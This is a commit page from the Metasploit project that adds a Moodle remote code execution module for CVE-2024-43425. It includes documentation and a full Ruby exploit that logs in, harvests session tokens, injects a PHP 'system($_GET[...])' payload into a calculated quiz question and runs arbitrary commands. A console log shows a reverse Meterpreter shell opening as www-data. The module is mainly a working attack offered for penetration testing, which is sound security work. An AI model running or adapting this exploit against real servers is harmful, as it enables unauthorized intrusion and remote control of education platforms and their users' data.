Skip to content

Commit be30a06

Browse files
authored
Land rapid7#19430, Moodle RCE (CVE-2024-43425) Module
Land rapid7#19430, Moodle RCE (CVE-2024-43425) Module
2 parents 22ade4f + afdddf2 commit be30a06

File tree

2 files changed

+379
-0
lines changed

2 files changed

+379
-0
lines changed
Lines changed: 101 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,101 @@
1+
## Vulnerable Application
2+
3+
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
4+
By default, the application will run in the context of www-data, so only a limited shell can be obtained.
5+
6+
Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an
7+
existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include
8+
`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration.
9+
10+
Affected versions include:
11+
* 4.4 to 4.4.1
12+
* 4.3 to 4.3.5
13+
* 4.2 to 4.2.8
14+
* 4.1 to 4.1.11
15+
16+
Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193).
17+
18+
The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is
19+
available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/).
20+
21+
## Testing
22+
23+
Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/).
24+
An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu).
25+
26+
**Successfully tested on**
27+
28+
- Moodle v4.4.1 on Ubuntu 20.04 LTS
29+
30+
## Verification Steps
31+
32+
1. Deploy Moodle
33+
2. Start `msfconsole`
34+
3. `use exploit/linux/http/moodle_rce`
35+
4. `set USERNAME <USER>`
36+
5. `set PASSWORD <PASSWORD>`
37+
6. `set CMID <ID>`
38+
7. `set COURSEID <ID>`
39+
8. `set RHOSTS <IP>`
40+
9. `set LHOST <IP>`
41+
10. `exploit`
42+
43+
## Options
44+
45+
### USERNAME
46+
The username to authenticate with in Moodle.
47+
48+
### PASSWORD
49+
The password for the user.
50+
51+
### CMID
52+
The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course
53+
(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4).
54+
55+
### COURSEID
56+
The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3).
57+
58+
## Scenarios
59+
60+
Running the module against Moodle v4.4.1 should result in an output similar to the following:
61+
62+
```
63+
msf6 > use exploit/linux/http/moodle_rce
64+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
65+
msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser
66+
USERNAME => testuser
67+
msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD
68+
PASSWORD => iusldbf843498fKJASD
69+
msf6 exploit(linux/http/moodle_rce) > set CMID 2
70+
CMID => 2
71+
msf6 exploit(linux/http/moodle_rce) > set COURSEID 2
72+
COURSEID => 2
73+
msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141
74+
RHOSTS => 192.168.217.141
75+
msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128
76+
LHOST => 192.168.217.128
77+
msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit
78+
[*] Started reverse TCP handler on 192.168.217.128:4444
79+
[*] Obtaining MoodleSession and logintoken...
80+
[+] Server reachable.
81+
[*] Authenticating as testuser...
82+
[*] Successfully authenticated.
83+
[*] Obtaining sesskey, courseContextId, and category...
84+
[*] Injecting command...
85+
[*] Sending stage (3045380 bytes) to 192.168.217.141
86+
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400
87+
[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server.
88+
[*] Exploit completed, but no session was created.
89+
msf6 exploit(linux/http/moodle_rce) > sessions -i 1
90+
[*] Starting interaction with 1...
91+
92+
meterpreter > sysinfo
93+
Computer : 192.168.217.141
94+
OS : Ubuntu 24.04 (Linux 6.8.0-41-generic)
95+
Architecture : x64
96+
BuildTuple : x86_64-linux-musl
97+
Meterpreter : x64/linux
98+
99+
meterpreter > getuid
100+
Server username: www-data
101+
```
Lines changed: 278 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,278 @@
1+
class MetasploitModule < Msf::Exploit::Remote
2+
Rank = ExcellentRanking
3+
include Msf::Exploit::Remote::HttpClient
4+
5+
def initialize(info = {})
6+
super(
7+
update_info(
8+
info,
9+
'Name' => 'Moodle Remote Code Execution (CVE-2024-43425)',
10+
'Description' => %q{
11+
This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution.
12+
Affected versions include 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11, and earlier unsupported versions.
13+
},
14+
'License' => MSF_LICENSE,
15+
'Author' => [
16+
'Michael Heinzl', # MSF Module
17+
'RedTeam Pentesting GmbH', # Discovery and PoC
18+
],
19+
'References' => [
20+
[ 'URL', 'https://blog.redteam-pentesting.de/2024/moodle-rce/'],
21+
[ 'URL', 'https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/'],
22+
[ 'URL', 'https://moodle.org/mod/forum/discuss.php?d=461193'],
23+
[ 'CVE', '2024-43425']
24+
],
25+
'DisclosureDate' => '2024-08-27',
26+
'Platform' => [ 'linux' ],
27+
'Arch' => [ ARCH_CMD ],
28+
'Targets' => [
29+
[
30+
'Linux Command',
31+
{
32+
'Arch' => [ ARCH_CMD ],
33+
'Platform' => [ 'linux' ],
34+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
35+
'Type' => :unix_cmd
36+
}
37+
]
38+
],
39+
'DefaultTarget' => 0,
40+
'Notes' => {
41+
'Stability' => [CRASH_SAFE],
42+
'Reliability' => [EVENT_DEPENDENT],
43+
'SideEffects' => [IOC_IN_LOGS]
44+
}
45+
)
46+
)
47+
48+
register_options(
49+
[
50+
Opt::RPORT(80),
51+
OptString.new('USERNAME', [true, 'Username to authenticate to the system. Needs to be allowed to add questions to a quiz.']),
52+
OptString.new('PASSWORD', [true, 'Password for the user']),
53+
OptInt.new('COURSEID', [true, 'The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3)']),
54+
OptInt.new('CMID', [true, 'The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course (e.g., <IP>/moodle/mod/quiz/edit.php?cmid=4)']),
55+
OptString.new('TARGETURI', [ true, 'The URI for the Moodle web interface', '/'])
56+
]
57+
)
58+
end
59+
60+
def exploit
61+
execute_command(payload.encoded)
62+
end
63+
64+
def execute_command(cmd)
65+
print_status('Obtaining MoodleSession and logintoken...')
66+
67+
res = send_request_cgi(
68+
'method' => 'GET',
69+
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php?loginredirect=1')
70+
)
71+
72+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
73+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200
74+
75+
print_good('Server reachable.')
76+
77+
moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
78+
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
79+
vprint_status("MoodleSession: #{moodlesession}")
80+
81+
html = res.get_html_document
82+
logintoken = html.to_s.match(/name="logintoken" value="([^"]+)"/)[1]
83+
fail_with(Failure::UnexpectedReply, 'logintoken not found.') unless logintoken
84+
vprint_status("logintoken: #{logintoken}")
85+
86+
print_status("Authenticating as #{datastore['USERNAME']}...")
87+
res = send_request_cgi(
88+
'method' => 'POST',
89+
'uri' => normalize_uri(target_uri.path, 'moodle/login/index.php'),
90+
'headers' => {
91+
'Cookie' => "MoodleSession=#{moodlesession}",
92+
'keep_cookies' => true
93+
},
94+
'ctype' => 'application/x-www-form-urlencoded',
95+
'vars_post' => {
96+
'anchor' => nil,
97+
'logintoken' => logintoken,
98+
'username' => datastore['USERNAME'],
99+
'password' => datastore['PASSWORD']
100+
}
101+
)
102+
103+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
104+
105+
moodlesession = res.get_cookies.scan(/MoodleSession=([^;]+)/).flatten[0]
106+
fail_with(Failure::UnexpectedReply, 'MoodleSession not found.') unless moodlesession
107+
vprint_status("MoodleSession: #{moodlesession}")
108+
109+
moodleid1 = res.get_cookies.scan(/MOODLEID1_=([^;]+)/).flatten[1]
110+
fail_with(Failure::UnexpectedReply, 'MOODLEID1_ not found.') unless moodleid1
111+
vprint_status("MOODLEID1_: #{moodleid1}")
112+
113+
html = res.get_html_document
114+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('index.php?testsession=')
115+
print_status('Successfully authenticated.')
116+
testsession = html.to_s.match(/index\.php\?testsession=(\d+)/)[1]
117+
vprint_status("testsession: #{testsession}")
118+
119+
res = send_request_cgi(
120+
'method' => 'GET',
121+
'headers' => {
122+
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
123+
},
124+
'uri' => normalize_uri(target_uri.path, "moodle/login/index.php?testsession=#{testsession}")
125+
)
126+
127+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
128+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && (html.to_s.include?('/my') || html.to_s.include?('/moodle/'))
129+
130+
print_status('Obtaining sesskey, courseContextId, and category...')
131+
vprint_status('Obtaining sesskey...')
132+
res = send_request_cgi(
133+
'method' => 'GET',
134+
'headers' => {
135+
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
136+
},
137+
'uri' => normalize_uri(target_uri.path, "moodle/mod/quiz/edit.php?cmid=#{datastore['CMID']}")
138+
)
139+
140+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
141+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 200
142+
143+
html = res.get_html_document
144+
sesskey = html.to_s.match(/"sesskey":"([^"]+)"/)[1]
145+
fail_with(Failure::UnexpectedReply, 'sesskey not found.') unless sesskey
146+
vprint_status("sesskey: #{sesskey}")
147+
148+
course_context_id = html.to_s.match(/"courseContextId":(\d+)/)[1]
149+
fail_with(Failure::UnexpectedReply, 'courseContextId not found.') unless course_context_id
150+
vprint_status("courseContextId: #{course_context_id}")
151+
152+
category = html.to_s.match(/;category=(\d+)/)[1]
153+
fail_with(Failure::UnexpectedReply, 'category not found.') unless category
154+
vprint_status("category: #{category}")
155+
156+
print_status('Injecting command...')
157+
res = send_request_cgi(
158+
'method' => 'POST',
159+
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php'),
160+
'headers' => {
161+
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
162+
},
163+
'ctype' => 'application/x-www-form-urlencoded',
164+
'vars_post' => {
165+
'initialcategory' => '1',
166+
'reload' => '1',
167+
'shuffleanswers' => '1',
168+
'answernumbering' => 'abc',
169+
'mform_isexpanded_id_answerhdr' => '1',
170+
'noanswers' => '1',
171+
'nounits' => '1',
172+
'numhints' => '2',
173+
'synchronize' => nil,
174+
'wizard' => 'datasetdefinitions',
175+
'id' => nil,
176+
'inpopup' => '0',
177+
'cmid' => datastore['CMID'].to_s,
178+
'courseid' => datastore['COURSEID'].to_s,
179+
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
180+
'mdlscrollto' => '0',
181+
'appendqnumstring' => 'addquestion',
182+
'qtype' => 'calculated',
183+
'makecopy' => '0',
184+
'sesskey' => sesskey.to_s,
185+
'_qf__qtype_calculated_edit_form' => '1',
186+
'mform_isexpanded_id_generalheader' => '1',
187+
'mform_isexpanded_id_unithandling' => '0',
188+
'mform_isexpanded_id_unithdr' => '0',
189+
'mform_isexpanded_id_multitriesheader' => '0',
190+
'mform_isexpanded_id_tagsheader' => '0',
191+
'category' => "#{category},#{course_context_id}",
192+
'name' => Rex::Text.rand_text_alpha(6..10),
193+
'questiontext[text]' => '<p>{b}</p>',
194+
'questiontext[format]' => '1',
195+
'questiontext[itemid]' => rand(424810000..424819999), # '424815274',
196+
'status' => 'ready',
197+
'defaultmark' => '1',
198+
'generalfeedback[text]' => nil,
199+
'generalfeedback[format]' => '1',
200+
'generalfeedback[itemid]' => rand(940090000..940099999), # '940093981',
201+
'idnumber' => nil,
202+
'answer[0]' => '(1)->{system($_GET[chr(97)])}',
203+
'fraction[0]' => '1.0',
204+
'tolerance[0]' => '0.01',
205+
'tolerancetype[0]' => '1',
206+
'correctanswerlength[0]' => '2',
207+
'correctanswerformat[0]' => '1',
208+
'feedback[0][text]' => nil,
209+
'feedback[0][format]' => '1',
210+
'feedback[0][itemid]' => rand(738790000..738799999), # '738798744',
211+
'unitrole' => '3',
212+
'penalty' => rand(0.1333333..0.7333333), # '0.3333333',
213+
'hint[0][text]' => nil,
214+
'hint[0][format]' => '1',
215+
'hint[0][itemid]' => rand(562440000..562449999), # '562446571',
216+
'hint[1][text]' => nil,
217+
'hint[1][format]' => '1',
218+
'hint[1][itemid]' => rand(161670000..161679999), # '161675382',
219+
'tags' => '_qf__force_multiselect_submission',
220+
'submitbutton' => 'Save+changes'
221+
}
222+
)
223+
224+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
225+
226+
html = res.get_html_document
227+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/question.php?qtype=calculated')
228+
229+
location_header = res.headers['Location']
230+
id = location_header && location_header.match(/&id=(\d+)/)
231+
id = id[1] if id
232+
fail_with(Failure::UnexpectedReply, 'ID not found.') unless id
233+
vprint_status("id value: #{id}")
234+
235+
res = send_request_cgi(
236+
'method' => 'POST',
237+
'uri' => normalize_uri(target_uri.path, 'moodle/question/bank/editquestion/question.php?wizardnow=datasetdefinitions'),
238+
'headers' => {
239+
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
240+
},
241+
'ctype' => 'application/x-www-form-urlencoded',
242+
'vars_post' => {
243+
'id' => id.to_s,
244+
'inpopup' => '0',
245+
'cmid' => datastore['CMID'].to_s,
246+
'courseid' => datastore['COURSEID'].to_s,
247+
'returnurl' => "/mod/quiz/edit.php?cmid=#{datastore['CMID']}&addonpage=0",
248+
'mdlscrollto' => '0',
249+
'appendqnumstring' => 'addquestion',
250+
'category' => "#{category},#{course_context_id}",
251+
'wizard' => 'datasetitems',
252+
'sesskey' => sesskey.to_s,
253+
'_qf__question_dataset_dependent_definitions_form' => '1',
254+
'dataset[0]' => '0',
255+
'dataset[1]' => '1-0-x',
256+
'synchronize' => '0',
257+
'submitbutton' => 'Next+page'
258+
}
259+
)
260+
261+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
262+
263+
html = res.get_html_document
264+
265+
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.') unless res.code == 303 && html.to_s.include?('question/bank/editquestion/')
266+
267+
cmd2 = URI.encode_www_form_component(cmd)
268+
res = send_request_cgi(
269+
'method' => 'GET',
270+
'headers' => {
271+
'Cookie' => "MoodleSession=#{moodlesession}; MOODLEID1_=#{moodleid1}"
272+
},
273+
'uri' => normalize_uri(target_uri.path, "/moodle/question/bank/editquestion/question.php?id=#{id}&category=#{category}&cmid=#{datastore['CMID']}&courseid=#{datastore['COURSEID']}&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D#{datastore['CMID']}%26addonpage%3D0&appendqnumstring=addquestion&mdlscrollto=0&a=#{cmd2}")
274+
)
275+
276+
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') unless res
277+
end
278+
end

0 commit comments

Comments
 (0)